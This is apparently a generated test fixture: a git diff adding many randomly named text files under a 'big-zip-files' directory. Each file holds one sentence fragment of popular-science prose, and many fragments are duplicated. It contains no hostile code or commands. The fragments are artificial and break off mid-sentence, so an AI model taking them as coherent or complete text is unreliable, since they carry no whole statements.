diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_euhqzgnyyl.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_euhqzgnyyl.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_euhqzgnyyl.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_fcfiotswofnufkonctqpt.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_fcfiotswofnufkonctqpt.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_fcfiotswofnufkonctqpt.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_gsfkzcmnskya.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_gsfkzcmnskya.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_gsfkzcmnskya.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_ikiiwwxcpugadjkyvrdz.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_ikiiwwxcpugadjkyvrdz.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_ikiiwwxcpugadjkyvrdz.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_kanpqjgogkplhb.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_kanpqjgogkplhb.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_kanpqjgogkplhb.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_kcqdkedxpaauguymlwuwmefr.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_kcqdkedxpaauguymlwuwmefr.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_kcqdkedxpaauguymlwuwmefr.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_kjcseqajsishh.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_kjcseqajsishh.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_kjcseqajsishh.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_laepkwlagdvyvdkdrabg.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_laepkwlagdvyvdkdrabg.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_laepkwlagdvyvdkdrabg.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_lowuacxiu.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_lowuacxiu.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_lowuacxiu.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_lsaixnqppvhwcbaryijpgx.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_lsaixnqppvhwcbaryijpgx.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_lsaixnqppvhwcbaryijpgx.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_nogsgvanfblgxidxecekhsf.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_nogsgvanfblgxidxecekhsf.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_nogsgvanfblgxidxecekhsf.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_odhiikyezzxruqvvpdbixilt.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_odhiikyezzxruqvvpdbixilt.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_odhiikyezzxruqvvpdbixilt.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_ohtowohxi.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_ohtowohxi.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_ohtowohxi.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_twkamdtbgq.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_twkamdtbgq.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_twkamdtbgq.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_updnhjxbgnoo.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_updnhjxbgnoo.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_updnhjxbgnoo.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_uryhnycqqklpnxndnsyu.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_uryhnycqqklpnxndnsyu.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_uryhnycqqklpnxndnsyu.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_xwwtacaxdvhghaeslarj.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_xwwtacaxdvhghaeslarj.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_xwwtacaxdvhghaeslarj.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_zblknpinceoqemy.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_zblknpinceoqemy.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_zblknpinceoqemy.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_zuarjsolmljoulfhm.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_zuarjsolmljoulfhm.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_zuarjsolmljoulfhm.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/baafxcmodrzwjdz.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/baafxcmodrzwjdz.txt
new file mode 100644
index 0000000..e436d94
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/baafxcmodrzwjdz.txt
@@ -0,0 +1 @@
+animal skins for clothing: to keep us warm, to cover our nakedness and sometimes as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/beikpifwelprgdnppwp.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/beikpifwelprgdnppwp.txt
new file mode 100644
index 0000000..19416b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/beikpifwelprgdnppwp.txt
@@ -0,0 +1 @@
+least pleasant would result in our viscera and internal organs being on the outside and the entire Cosmos -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/cffofcdihsuxgwixkbd.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/cffofcdihsuxgwixkbd.txt
new file mode 100644
index 0000000..220977a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/cffofcdihsuxgwixkbd.txt
@@ -0,0 +1 @@
+holes and other universes and extraterrestrial civilizations whose radio messages are at this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/ejmdbtubvbzywpfgdeutr.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/ejmdbtubvbzywpfgdeutr.txt
new file mode 100644
index 0000000..d2bd8b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/ejmdbtubvbzywpfgdeutr.txt
@@ -0,0 +1 @@
+The Greek text mentions Ptolemy many times. In roughly the same positions in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_cwyicmnldorvco.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_cwyicmnldorvco.txt
new file mode 100644
index 0000000..9796e14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_cwyicmnldorvco.txt
@@ -0,0 +1 @@
+waves to ordinary visible light to X-rays, all of which arise only from its outermost layers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_fguatlcylb.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_fguatlcylb.txt
new file mode 100644
index 0000000..9796e14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_fguatlcylb.txt
@@ -0,0 +1 @@
+waves to ordinary visible light to X-rays, all of which arise only from its outermost layers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_jtarmqql.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_jtarmqql.txt
new file mode 100644
index 0000000..9796e14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_jtarmqql.txt
@@ -0,0 +1 @@
+waves to ordinary visible light to X-rays, all of which arise only from its outermost layers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_jtrwjcedrnpvdo.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_jtrwjcedrnpvdo.txt
new file mode 100644
index 0000000..9796e14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_jtrwjcedrnpvdo.txt
@@ -0,0 +1 @@
+waves to ordinary visible light to X-rays, all of which arise only from its outermost layers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_ljzkqndbsbtucjuozvyvrfc.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_ljzkqndbsbtucjuozvyvrfc.txt
new file mode 100644
index 0000000..9796e14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_ljzkqndbsbtucjuozvyvrfc.txt
@@ -0,0 +1 @@
+waves to ordinary visible light to X-rays, all of which arise only from its outermost layers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_mbgfqakmeupcscdfiuwgu.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_mbgfqakmeupcscdfiuwgu.txt
new file mode 100644
index 0000000..9796e14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_mbgfqakmeupcscdfiuwgu.txt
@@ -0,0 +1 @@
+waves to ordinary visible light to X-rays, all of which arise only from its outermost layers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_tcwgrspruakgee.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_tcwgrspruakgee.txt
new file mode 100644
index 0000000..9796e14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_tcwgrspruakgee.txt
@@ -0,0 +1 @@
+waves to ordinary visible light to X-rays, all of which arise only from its outermost layers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_wtebcexzifaxvhhrquvrl.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_wtebcexzifaxvhhrquvrl.txt
new file mode 100644
index 0000000..9796e14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_wtebcexzifaxvhhrquvrl.txt
@@ -0,0 +1 @@
+waves to ordinary visible light to X-rays, all of which arise only from its outermost layers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_wymduznaqffcdibvatwedtbi.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_wymduznaqffcdibvatwedtbi.txt
new file mode 100644
index 0000000..9796e14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_wymduznaqffcdibvatwedtbi.txt
@@ -0,0 +1 @@
+waves to ordinary visible light to X-rays, all of which arise only from its outermost layers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_xdccskwfnlygddvwsyxgr.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_xdccskwfnlygddvwsyxgr.txt
new file mode 100644
index 0000000..9796e14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/file_xdccskwfnlygddvwsyxgr.txt
@@ -0,0 +1 @@
+waves to ordinary visible light to X-rays, all of which arise only from its outermost layers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/fjmcpcpvvmfklfjvxq.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/fjmcpcpvvmfklfjvxq.txt
new file mode 100644
index 0000000..31d276e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/fjmcpcpvvmfklfjvxq.txt
@@ -0,0 +1 @@
+chance every now and then. The debate centers on whether the number of coincidences is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/gejktgaitrxpynbj.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/gejktgaitrxpynbj.txt
new file mode 100644
index 0000000..58873f5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/gejktgaitrxpynbj.txt
@@ -0,0 +1 @@
+extremely high density - a kind of cosmic egg, reminiscent of the creation myths of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/hbbzpoyrlzbfefjuhsspl.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/hbbzpoyrlzbfefjuhsspl.txt
new file mode 100644
index 0000000..515bdd0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/hbbzpoyrlzbfefjuhsspl.txt
@@ -0,0 +1 @@
+and preventing, than on preparing for, the next war? It is possible to study the causes of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/jixrobztfjveckdfhimeh.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/jixrobztfjveckdfhimeh.txt
new file mode 100644
index 0000000..8f64c00
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/jixrobztfjveckdfhimeh.txt
@@ -0,0 +1 @@
+royal road to geometry’; Dionysius of Thrace, the man who defined the parts of speech and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/kbedgpmujilsoqugqwyntn.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/kbedgpmujilsoqugqwyntn.txt
new file mode 100644
index 0000000..f245577
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/kbedgpmujilsoqugqwyntn.txt
@@ -0,0 +1 @@
+such as Europe and North America. Smaller craters are produced more frequently and destroyed more rapidly,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/lslnjzdceyfbmdrprj.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/lslnjzdceyfbmdrprj.txt
new file mode 100644
index 0000000..37db29e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/lslnjzdceyfbmdrprj.txt
@@ -0,0 +1 @@
+different way. Once I thought there are no campfires and no holes but something else, too
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/minegkkhiio.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/minegkkhiio.txt
new file mode 100644
index 0000000..c491af7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/minegkkhiio.txt
@@ -0,0 +1 @@
+Microscopes were drawing-room curiosities. Leeuwenhoek was the executor of Vermeer’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/pqtgkpxge.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/pqtgkpxge.txt
new file mode 100644
index 0000000..c0b2ae4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/pqtgkpxge.txt
@@ -0,0 +1 @@
+in this way a civilization might slowly wend its way like a vine among the worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/wejatfzyytmsoqpjqgmffzv.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/wejatfzyytmsoqpjqgmffzv.txt
new file mode 100644
index 0000000..265a5dc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/wejatfzyytmsoqpjqgmffzv.txt
@@ -0,0 +1 @@
+for their homey domestic manufactures. According to one estimate, the corporate profits in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/xcnhxwkzwrhps.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/xcnhxwkzwrhps.txt
new file mode 100644
index 0000000..bddc995
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/folder_jvfypsmxzp/xcnhxwkzwrhps.txt
@@ -0,0 +1 @@
+milk and cheese. Our corn, or maize, has been bred for ten thousand generations to be more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/file_ioljpidfdwvqaj.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/file_ioljpidfdwvqaj.txt
new file mode 100644
index 0000000..1f721d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/file_ioljpidfdwvqaj.txt
@@ -0,0 +1 @@
+faintness of such stars when found in globular clusters with their real brightness, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/file_lcuclayamiadtv.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/file_lcuclayamiadtv.txt
new file mode 100644
index 0000000..1f721d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/file_lcuclayamiadtv.txt
@@ -0,0 +1 @@
+faintness of such stars when found in globular clusters with their real brightness, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/file_lgfyuzjzzwkcurocyyosl.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/file_lgfyuzjzzwkcurocyyosl.txt
new file mode 100644
index 0000000..1f721d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/file_lgfyuzjzzwkcurocyyosl.txt
@@ -0,0 +1 @@
+faintness of such stars when found in globular clusters with their real brightness, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/file_nnmlrmssxahxroksnuhokand.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/file_nnmlrmssxahxroksnuhokand.txt
new file mode 100644
index 0000000..1f721d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/file_nnmlrmssxahxroksnuhokand.txt
@@ -0,0 +1 @@
+faintness of such stars when found in globular clusters with their real brightness, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/file_qjalznxvpuuacqb.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/file_qjalznxvpuuacqb.txt
new file mode 100644
index 0000000..1f721d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/file_qjalznxvpuuacqb.txt
@@ -0,0 +1 @@
+faintness of such stars when found in globular clusters with their real brightness, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/file_tgkxckvmt.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/file_tgkxckvmt.txt
new file mode 100644
index 0000000..1f721d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/file_tgkxckvmt.txt
@@ -0,0 +1 @@
+faintness of such stars when found in globular clusters with their real brightness, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/file_ujeojlreuamqftja.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/file_ujeojlreuamqftja.txt
new file mode 100644
index 0000000..1f721d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/file_ujeojlreuamqftja.txt
@@ -0,0 +1 @@
+faintness of such stars when found in globular clusters with their real brightness, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/file_upvqukvobbs.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/file_upvqukvobbs.txt
new file mode 100644
index 0000000..1f721d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/file_upvqukvobbs.txt
@@ -0,0 +1 @@
+faintness of such stars when found in globular clusters with their real brightness, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/file_zguwauqniwtnzrk.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/file_zguwauqniwtnzrk.txt
new file mode 100644
index 0000000..1f721d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/file_zguwauqniwtnzrk.txt
@@ -0,0 +1 @@
+faintness of such stars when found in globular clusters with their real brightness, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/file_ziduqaxrklaajjgbipjzyu.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/file_ziduqaxrklaajjgbipjzyu.txt
new file mode 100644
index 0000000..1f721d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/file_ziduqaxrklaajjgbipjzyu.txt
@@ -0,0 +1 @@
+faintness of such stars when found in globular clusters with their real brightness, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_anzewtpwjeuuzfzpiqlzv.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_anzewtpwjeuuzfzpiqlzv.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_anzewtpwjeuuzfzpiqlzv.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_ckstsocvxvas.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_ckstsocvxvas.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_ckstsocvxvas.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_cxoljukxhoaedksytshld.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_cxoljukxhoaedksytshld.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_cxoljukxhoaedksytshld.txt
@@ -0,0 +1 @@
